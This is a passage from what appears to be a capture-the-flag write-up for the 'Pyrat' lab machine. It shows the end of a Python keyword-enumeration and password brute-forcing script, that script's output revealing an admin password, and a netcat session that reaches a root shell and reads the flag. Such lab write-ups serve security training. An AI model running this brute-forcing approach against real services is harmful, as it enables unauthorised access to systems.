return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
password_wordlist = None if args.no_bruteforce else args.password_wordlist
print(f"""
╔══════════════════════════════════════════╗
║ Pyrat Enumerator & Brute-Forcer ║
╚══════════════════════════════════════════╝
Target : {args.target}:{args.port}
Keyword : {args.keyword if args.keyword else f"Enumerate via {args.keyword_wordlist}"}
Passwords: {"Disabled (--no-bruteforce)" if args.no_bruteforce else password_wordlist}
Threads : {args.threads}
Timeout : {args.timeout}s
""")
if args.keyword:
print(f"[*] Skipping enumeration, using supplied keyword: '{args.keyword}'")
if password_wordlist:
result = brute_force_password(
args.target, args.port, args.keyword,
password_wordlist, args.threads, args.timeout
)
if result:
print(f"\n[!] Success! Keyword: '{args.keyword}' | Password: '{result}'")
else:
enumerate_keywords(
args.target, args.port,
args.keyword_wordlist, password_wordlist,
args.threads, args.timeout
)

We save this script into another file called enumerate_pyrat.py and then execute it:

Terminal window
pyrat python enumerate_pyrat.py -t pyrat.thm
╔══════════════════════════════════════════╗
Pyrat Enumerator & Brute-Forcer
╚══════════════════════════════════════════╝
Target : pyrat.thm:8000
Keyword : Enumerate via /usr/share/wordlists/seclists/Usernames/Names/names.txt
Passwords: /usr/share/wordlists/fasttrack.txt
Threads : 50
Timeout : 2s
[*] Enumerating keywords against pyrat.thm:8000
[*] Wordlist : /usr/share/wordlists/seclists/Usernames/Names/names.txt
[*] Threads : 50 | Timeout: 2s
[*] Loaded 10,177 keywords to try...
[*] Progress: 60/10,177 - Current: adina
[+] Password prompt found for keyword: 'admin'
[*] Pausing enumeration - brute-forcing password for keyword 'admin'...
[*] Wordlist : /usr/share/wordlists/fasttrack.txt
[*] Threads : 50 | Timeout: 2s
[*] Loaded 261 passwords to try...
[*] Progress: 240/261 - Current: baseball
[!] Password found: 'abc123'
Response: 'Welcome Admin!!! Type "shell" to begin'
[*] Progress: 260/261 - Current: basketball
[!] Success! Keyword: 'admin' | Password: '{REDACTED}'
[*] Resuming keyword enumeration...
[*] Progress: 8,660/10,177 - Current: shelba
[+] Interesting keyword: 'shell'
Response: '$'
[*] Progress: 10,170/10,177 - Current: zylen
============================================================
[*] Enumeration complete. 2 interesting keyword(s) found:
Keyword : admin
Response : 'Password:'
Keyword : shell
Response : '$'
============================================================

So now we have found the keyword admin and the password to go with it.

Using this combination we are able to drop into a root shell and obtain the flag:

Terminal window
~ nc pyrat.thm 8000
admin
Password:
{REDACTED}
Welcome Admin!!! Type "shell" to begin
shell
# id
id
uid=0(root) gid=0(root) groups=0(root)
# ls
ls
pyrat.py root.txt snap
# cat root.txt
cat root.txt
ba{REDACTED}221
#